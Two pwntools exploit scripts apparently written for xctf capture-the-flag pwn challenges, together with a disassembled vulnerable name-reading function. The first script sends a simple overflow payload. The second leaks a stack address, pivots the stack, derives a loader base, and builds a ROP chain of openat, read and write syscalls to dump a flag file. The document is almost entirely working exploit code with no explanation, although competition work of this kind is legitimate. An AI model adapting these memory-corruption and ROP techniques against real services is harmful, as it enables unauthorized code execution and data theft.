1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    args,
6
    context,
7
    flat,
8
    process,
9
    raw_input,
10
    remote,
11
)
12

13

14
FILE = "./babystack"
15
HOST, PORT = "pwn-10ba42cde6.challenge.xctf.org.cn", 9999
16

17
context(log_level="debug", binary=FILE, terminal="kitty")
18

19
elf = context.binary
20

21

22
def launch():
23
    global target
24
    if args.L:
25
        target = process(FILE)
26
    else:
27
        target = remote(HOST, PORT, ssl=True)
28

29

30
def main():
31
    launch()
32

33
    payload = flat(
34
        b"A" * 24,
35
    )
36
    target.sendafter(b"flag1:", payload)
37
    payload = flat(
38
        b"B" * 0xF8,
39
        0x1337ABC,
40
    )
41
    raw_input("DEBUG")
42
    target.sendlineafter(b"flag2:", payload)
43

44
    target.interactive()
45

46

47
if __name__ == "__main__":
48
    main()

; Attributes: bp-based frame

; int sub_401354()
sub_401354 proc near

s= byte ptr -10h

; __unwind {
endbr64
push    rbp
mov     rbp, rsp
sub     rsp, 10h
lea     rax, [rbp+s]
mov     edx, 10h        ; n
mov     esi, 0          ; c
mov     rdi, rax        ; s
call    _memset
lea     rax, aCouldYouTellMe ; "Could you tell me your name?"
mov     rdi, rax        ; s
call    _puts
lea     rax, [rbp+s]
mov     edx, 18h        ; nbytes
mov     rsi, rax        ; buf
mov     edi, 0          ; fd
call    _read
lea     rax, [rbp+s]
mov     rsi, rax
lea     rax, format     ; "Hello, %s!\n"
mov     rdi, rax        ; format
mov     eax, 0
call    _printf
nop
leave
retn
; } // starts at 401354
sub_401354 endp

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    args,
6
    context,
7
    flat,
8
    process,
9
    raw_input,
10
    remote,
11
)
12

13

14
FILE = "./pwn_patched"
15
HOST, PORT = "pwn-2229eb847f.challenge.xctf.org.cn", 9999
16

17
context(log_level="debug", binary=FILE, terminal="kitty")
18

19
elf = context.binary
20

21

22
def launch():
23
    global target
24
    if args.L:
25
        target = process(FILE)
26
    else:
27
        target = remote(HOST, PORT, ssl=True)
28

29

30
def main():
31
    launch()
32

33
    # raw_input("DEBUG")
34
    target.sendafter(b"name?", b"A" * 0x10)
35
    target.recvuntil(b"A" * 0x10)
36
    stack = int.from_bytes(target.recv(0x6), "little")
37
    ld = stack + 0xC0
38
    ret = stack + 0x20
39
    target.success(f"stack: {hex(stack)}")
40

41
    payload = flat(
42
        b"A" * 0x60,
43
        ret + 0x60,
44
        0x4013D4,  # read
45
    )
46
    # raw_input("DEBUG")
47
    target.sendafter(b"Any thing else?", payload)
48

49
    payload = flat(
50
        0x401413,  # main
51
        b"A" * 0x58,
52
        ld + 0x10,
53
        0x40139B,  # printf
54
    )
55
    target.sendline(payload)
56
    target.recvuntil(b"Hello, ")
57
    leaked_ld = int.from_bytes(target.recv(0x6), "little") - 0x3B2E0
58
    target.success(f"libc: {hex(leaked_ld)}")
59

60
    target.sendlineafter(b"name?", b"")
61

62
    flag = stack - 0xA0
63
    payload = flat(
64
        b"./flag\x00\x00",
65
        b"A" * 0x60,
66
        # openat
67
        leaked_ld + 0x25E6B,  # pop rdi; ret
68
        -100,
69
        leaked_ld + 0x54DA,  # pop rsi; ret
70
        flag,
71
        leaked_ld + 0x20322,  # pop rax; pop rdx; pop rbx; ret
72
        0x101,
73
        0,
74
        0,
75
        leaked_ld + 0x16629,  # syscall; ret
76
        # read
77
        leaked_ld + 0x25E6B,  # pop rdi; ret
78
        0x3,
79
        leaked_ld + 0x54DA,  # pop rsi; ret
80
        elf.bss() + 0x500,
81
        leaked_ld + 0x20322,  # pop rax; pop rdx; pop rbx; ret
82
        0,
83
        0x1337,
84
        0,
85
        leaked_ld + 0x16629,  # syscall; ret
86
        # write
87
        leaked_ld + 0x25E6B,  # pop rdi; ret
88
        0x1,
89
        leaked_ld + 0x54DA,  # pop rsi; ret
90
        elf.bss() + 0x500,
91
        leaked_ld + 0x20322,  # pop rax; pop rdx; pop rbx; ret
92
        1,
93
        0x1337,
94
        0,
95
        leaked_ld + 0x16629,  # syscall; ret
96
    )
97
    raw_input("DEBUG")
98
    target.sendafter(b"Any thing else?", payload)
99

100
    target.interactive()
101

102

103
if __name__ == "__main__":
104
    main()